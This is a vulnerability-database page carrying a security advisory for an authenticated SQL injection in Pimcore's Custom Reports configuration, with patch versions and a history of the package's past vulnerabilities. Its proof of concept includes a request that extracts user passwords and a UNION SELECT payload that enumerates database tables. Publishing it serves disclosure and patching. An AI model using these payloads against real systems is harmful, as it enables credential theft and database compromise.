High

Pimcore: SQL Injection in Custom Reports via Malicious Report Configuration

  • Disclosed: 10.09.2026
  • Updated: 11.10.2026 10:22

Security Advisory: SQL Injection in Custom Reports via Malicious Report Configuration

Summary

Impact

A SQL injection vulnerability exists in the Custom Reports bundle (bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:84-135). An authenticated attacker with reports_config permission can inject arbitrary SQL via the report configuration fields (sql, from, where, groupby), which are directly concatenated into SQL queries without parameterization. The only protection is a regex blacklist that checks for ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE keywords, which is trivially bypassable — it does not block INSERT, UNION SELECT, LOAD_FILE(), INTO OUTFILE, stacked queries, subqueries, or MySQL comment injection (/*!*/). Exploitation allows reading, modifying, or deleting all data in the database, leading to complete data compromise.

Additionally, the LIMIT clause at line 51 directly interpolates $offset and $limit without integer casting, creating a secondary injection point.

Patches

Versions 2026.1.6, 12.3.10, 11.5.19.

Workarounds

  1. Restrict reports_config permission to only highly trusted administrators
  2. Deploy a WAF rule to block requests to /admin/bundle/customreports/custom-report/update containing SQL keywords in the configuration parameter
  3. Replace the custom SQL adapter with a parameterized query builder approach

Attack Path (Validation Evidence)

php
[Entry Point] POST /admin/bundle/customreports/custom-report/update HTTP/1.1
    ↓ (requires reports_config permission + valid admin session)
[Controller] CustomReportController::updateAction()
    ↓  $configuration = decodeJson($request->request->getString('configuration'))
[Config Store] Configuration saved to custom_reports database table
[Config Load] Tool\Config::getByName() loads stdClass $config from DB
    ↓
[Adapter] Sql::getBaseQuery() → Sql::buildQueryString($config)
    ↓  Directly concatenates config fields:
[Vulnerable] $sql .= "\n" . $config['sql'];        // Line 92
            $sql .= "\n" . $config['from'];        // Line 103
            $sql .= "\n" . 'WHERE (' . $config['where'] . ')'; // Line 110
            $sql .= "\n" . $config['groupby'];     // Line 117
[Weak Guard] preg_match('/(ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE)\s/i', ...)
    ↓  ✗ Bypassable — missing INSERT, UNION, SELECT, subqueries, comments
[Execution] $db->fetchAllAssociative($sql);        // Line 54
    ↓
[Impact] Arbitrary SQL execution — full database compromise

Taint Flow (Validation Evidence)

php
Source: $request->request->getString('configuration')  (HTTP POST body, user-controlled)
    ↓  json_decode() → stdClass
[Store]  Persistent in database (custom_reports table)
[Load]   Config::getByName() → stdClass $config
    ↓  ✗ No sanitization (only bypassable regex blacklist)
[Sink]   $db->fetchAllAssociative($concatenatedSql)
    ↓
Impact: Attacker-controlled SQL executed against the database

Proof of Concept

Steps

  1. Authenticate as an admin user with reports_config permission
  2. Send a report update request with malicious SQL in the configuration:

Request

http
POST /admin/bundle/customreports/custom-report/update HTTP/1.1
Host: <target-host>
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<valid_admin_session>

name=malicious_report&configuration=%7B%22sql%22%3A%22SELECT%20id%2C%20username%2C%20password%20FROM%20users%22%2C%22from%22%3A%22users%22%2C%22where%22%3A%221%3D1%22%2C%22groupby%22%3A%22%22%2C%22dataSourceConfig%22%3A%7B%7D%7D
  1. Access the report data endpoint to retrieve extracted user credentials
  2. Alternatively, the where field can be set to:
    1=1 UNION SELECT TABLE_NAME, TABLE_SCHEMA, 1 FROM INFORMATION_SCHEMA.TABLES
    to enumerate all database tables

Expected Result

The custom report returns rows from arbitrary tables beyond what was intended, proving successful SQL injection.

Affected Component

  • File: bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php
  • Method: buildQueryString() (lines 84-135), getBaseQuery() (lines 137-216), getData() (lines 25-58)
  • Class: Pimcore\Bundle\CustomReportsBundle\Tool\Adapter\Sql

Fix Recommendation

Replace the custom SQL concatenation approach with a parameterized query builder:

php
// Instead of:
$sql .= "\n" . $config['sql'];
$sql .= "\n" . $config['from'];
$sql .= "\n" . 'WHERE (' . $config['where'] . ')';

// Use a whitelist-based approach:
// 1. Only allow predefined table names from a whitelist
// 2. Use Doctrine QueryBuilder for WHERE conditions
// 3. Use parameterized queries for all user-supplied values
// 4. Cast LIMIT/OFFSET to integers

$sql .= ' LIMIT ' . (int)$offset . ',' . (int)$limit;

Resources

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package pimcore/pimcore >= 2026.1.0, < 2026.1.6, >= 12.0.0-RC1, < 12.3.10, < 11.5.19 2026.1.6, 12.3.10, 11.5.19

References

CVSS score 8.8/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-89
Platform
Composer
Package
pimcore/pimcore
Disclosed
10.09.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-23rh-xw42-fq82 - CC BY 4.0

Vulnerability history: pimcore/pimcore

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (135) in the archive
Total entries
135
First → latest
12.2019 09.2026
Without a fix
3
Exploited in attacks
0

Severity breakdown

  • Critical 5
  • High 40
  • Medium 90

Disclosures per year

  1. 2019: 1
  2. 2020: 0
  3. 2021: 11
  4. 2022: 43
  5. 2023: 59
  6. 2024: 3
  7. 2025: 2
  8. 2026: 16
Severity:
  1. Pimcore: SQL Injection in Custom Reports via Malicious Report Configuration this entry
    High · 8.8 CVE-2026-55416 >= 2026.1.0, < 2026.1.6, >= 12.0.0-RC1, < 12.3.10, < 11.5.19 2026.1.6, 12.3.10, 11.5.19
  2. Critical · 9.9 CVE-2026-55634 < 12.3.10, >= 2026.1.0, < 2026.1.6 12.3.10, 2026.1.6
  3. High · 8.5 CVE-2026-55072 >= 2026.1.0, < 2026.1.5, < 12.3.9 2026.1.5, 12.3.9
  4. High · 7.2 CVE-2026-11407 >= 12.0.0-RC1, <= 12.3.8, <= 11.5.14.1 no fix
  5. High CVE-2026-5394 >= 12.0.0-RC1, < 12.3.7, < 11.5.17, >= 2026.1.0, < 2026.1.3 12.3.7, 11.5.17, 2026.1.3
  6. High CVE-2026-45704 >= 12.0.0-RC1, < 12.3.6, < 11.5.17, >= 2026.1.0, < 2026.1.2 12.3.6, 11.5.17, 2026.1.2
  7. High · 8.1 CVE-2026-45260 >= 12.0.0-RC1, < 12.3.7, >= 2026.1.0, < 2026.1.3, < 11.5.17 12.3.7, 2026.1.3, 11.5.17
  8. High · 8.0 CVE-2026-45162 >= 12.0.0-RC1, < 12.3.7, < 11.5.17, >= 2026.1.0, < 2026.1.3 12.3.7, 11.5.17, 2026.1.3
  9. High · 8.7 CVE-2026-44739 >= 2026.1.0, < 2026.1.2, < 11.5.17, >= 12.0.0-RC1, < 12.3.6 2026.1.2, 11.5.17, 12.3.6
  10. High · 8.6 CVE-2026-23493 >= 12.0.0-RC1, < 12.3.1, < 11.5.14 12.3.1, 11.5.14
  11. High · 8.8 CVE-2026-23492 >= 12.0.0-RC1, < 12.3.1, < 11.5.14 12.3.1, 11.5.14
  12. High · 8.1 CVE-2024-11954 >= 11.4.2, < 11.5.3 11.5.3
  13. High · 8.8 ghsa-hq76-662x-7mw4 >= 10.6.9.0, < 10.6.9.12, >= 11.1.0.0, < 11.1.6.11 10.6.9.12, 11.1.6.11
  14. High · 7.5 CVE-2024-32871 >= 11.0.0, < 11.2.4 11.2.4
  15. High · 7.2 CVE-2023-3820 < 10.6.4 10.6.4
  16. High · 7.2 CVE-2023-3673 < 10.5.24 10.5.24
  17. High · 8.8 CVE-2023-2338 < 10.5.21 10.5.21
  18. High · 8.8 CVE-2023-30850 < 10.5.21 10.5.21
  19. High · 8.8 CVE-2023-30849 < 10.5.21 10.5.21
  20. High · 8.8 CVE-2023-30848 < 10.5.21 10.5.21
  21. High · 8.8 CVE-2023-25240 < 10.5.16 10.5.16
  22. Critical · 9.8 CVE-2022-39365 < 10.5.9 10.5.9
  23. Critical · 9.8 CVE-2019-18985 < 6.2.2 6.2.2
  24. Critical · 9.8 CVE-2019-18981 < 6.2.2 6.2.2
  25. High · 7.5 CVE-2019-18986 < 6.2.2 6.2.2
  26. High · 8.8 CVE-2019-16317 < 5.7.1 5.7.1
  27. High · 8.8 CVE-2019-16318 < 5.7.1 5.7.1
  28. High CVE-2014-2921 >= 1.4.9, < 2.2.0 2.2.0
  29. High · 8.8 CVE-2018-14057 < 5.3.0 5.3.0
  30. High · 8.8 CVE-2019-10867 < 5.7.1 5.7.1
  31. High · 7.5 CVE-2022-1429 < 10.3.6 10.3.6
  32. High · 7.5 CVE-2022-1339 < 10.3.5 10.3.5
  33. High · 7.5 CVE-2022-1219 < 10.3.5 10.3.5
  34. High · 8.3 CVE-2022-0258 < 10.2.9 10.2.9
  35. High · 7.8 CVE-2022-0263 < 10.2.7 10.2.7
Show more (5) Showing 40 of 45

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.